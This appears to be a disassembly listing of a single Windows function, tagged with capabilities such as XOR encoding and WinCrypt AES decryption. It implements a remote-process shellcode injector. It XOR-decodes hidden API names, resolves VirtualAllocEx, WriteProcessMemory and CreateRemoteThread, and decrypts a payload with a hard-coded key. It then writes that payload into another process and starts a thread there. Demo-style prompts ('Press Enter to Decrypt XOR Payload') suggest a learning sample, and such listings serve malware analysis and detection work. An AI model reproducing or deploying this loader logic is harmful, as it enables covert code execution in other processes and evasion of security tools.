Function at 0x140001260
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
xor r15d, r15d
mov r14d, r8d
mov rsi, rdx
lea rax, [0x140023011]
mov edx, r15d
lea r11, str.123456789ABC
mov r10d, r15d
mov rbp, rcx
cmp edx, 0xc
mov r9d, r15d
mov r8d, r15d
cmovne r9d, edx
mov edx, r15d
movsxd rcx, r9d
movzx ecx, byte [rcx + r11]
xor byte [rax - 1], cl
lea ecx, [r9 + 1]
cmp r9d, 0xb
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax], cl
lea ecx, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax + 1], cl
lea ecx, [r8 + 1]
cmp r8d, 0xb
mov r8d, r15d
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax + 2], cl
lea ecx, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax + 3], cl
lea ecx, [r8 + 1]
cmp r8d, 0xb
mov r8d, r15d
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax + 4], cl
lea ecx, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax + 5], cl
lea ecx, [r8 + 1]
cmp r8d, 0xb
mov r8d, r15d
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax + 6], cl
lea ecx, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax + 7], cl
lea ecx, [r8 + 1]
cmp r8d, 0xb
mov r8d, r15d
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax + 8], cl
lea ecx, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax + 9], cl
lea ecx, [r8 + 1]
cmp r8d, 0xb
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
mov r8d, r15d
xor byte [rax + 0xa], cl
lea rax, [rax + 0xe]
cmp edx, 0xb
lea ecx, [rdx + 1]
mov edx, r15d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax - 3], cl
lea ecx, [r8 + 1]
cmp r8d, 0xb
cmovne edx, ecx
add r10d, 0xe
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax - 2], cl
inc edx
cmp r10d, 0xe
jb 0x140001290
mov ecx, r15d
lea r8, [0x140023021]
mov r9d, r15d
nop dword [rax]
nop dword [rax + rax]
cmp ecx, 0xc
mov edx, r15d
cmovne edx, ecx
mov ecx, r15d
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
mov edx, r15d
xor byte [r8 + 0xa], al
lea r8, [r8 + 0x12]
cmp ecx, 0xb
lea eax, [rcx + 1]
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 7], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 6], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 5], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 4], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 3], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
add r9d, 0x12
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 2], al
inc ecx
cmp r9d, 0x12
jb 0x140001410
mov ecx, r15d
lea r8, [0x140023039]
mov r9d, r15d
nop dword [rax]
cmp ecx, 0xc
mov edx, r15d
cmovne edx, ecx
mov ecx, r15d
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
mov edx, r15d
xor byte [r8 + 0xa], al
lea r8, [r8 + 0x12]
cmp ecx, 0xb
lea eax, [rcx + 1]
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 7], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 6], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 5], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 4], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 3], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
add r9d, 0x12
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 2], al
inc ecx
cmp r9d, 0x12
jb 0x1400015e0
lea rcx, str._nDecrypted_Function_Names:_n
call fcn.140001be0
lea rdx, str.g_A__W_yU___tJ
lea rcx, str.VirtualAllocEx:__s_n
call fcn.140001be0
lea rdx, str.f_Z_PfEWZ_10W_GO
lea rcx, str.WriteProcessMemory:__s_n
call fcn.140001be0
lea rdx, str.r_VUASe_T.6eZAQTR
lea rcx, str.CreateRemoteThread:__s_n
call fcn.140001be0
lea rcx, [0x14003ad00]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.g_A__W_yU___tJ
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x14003ad10]
mov qword [0x14003cb48], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.f_Z_PfEWZ_10W_GO
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov qword [0x14003cb40], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.r_VUASe_T.6eZAQTR
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str._nFunction_Pointers:_n
mov qword [0x14003cb38], rax
call fcn.140001be0
mov rdx, qword [0x14003cb48]
lea rcx, str.VirtualAllocEx:_0x_p_n
call fcn.140001be0
mov rdx, qword [0x14003cb40]
lea rcx, str.WriteProcessMemory:_0x_p_n
call fcn.140001be0
mov rdx, qword [0x14003cb38]
lea rcx, str.CreateRemoteThread:_0x_p_n
call fcn.140001be0
lea rcx, str._nyou_entered_into_shellcodeInjection_section:_n_n
call fcn.140001be0
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x20
mov r8, r14
xor edx, edx
mov rcx, rbp
call qword [0x14003cb48]
mov r8, rsi
lea rdx, str.payload_addr
lea rcx, [0x14003ade0]
mov rbx, rax
call fcn.140001be0
mov r8, rbx
lea rdx, str.alloc_mem_addr
lea rcx, str.__20s_:_0x__016p_n
call fcn.140001be0
lea rcx, str._n_1__Press_Enter_to_Decrypt_XOR_Payload_n
call fcn.140001be0
call fcn.140005b58
mov r9d, 0x18
mov dword [rsp + 0x90], r14d
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400019ef
mov rcx, qword [rsp + 0x98]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400019ef
mov rcx, qword [rsp + 0x40]
lea rdx, str.mysecretkey12345_t
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400019ef
mov r8, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
mov rcx, qword [rsp + 0x98]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400019ef
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400019ef
mov rcx, qword [rsp + 0x98]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov r9, r14
mov qword [rsp + 0x20], r15
mov r8, rsi
mov rdx, rbx
mov rcx, rbp
call qword [0x14003cb40]
lea rcx, str._2_done__WriteProcessMemoryFunc
call fcn.140001be0
mov qword [rsp + 0x30], r15
mov r9, rbx
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rbp
call qword [0x14003cb38]
mov rbx, rax
test rax, rax
je 0x140001a55
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001a5a
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret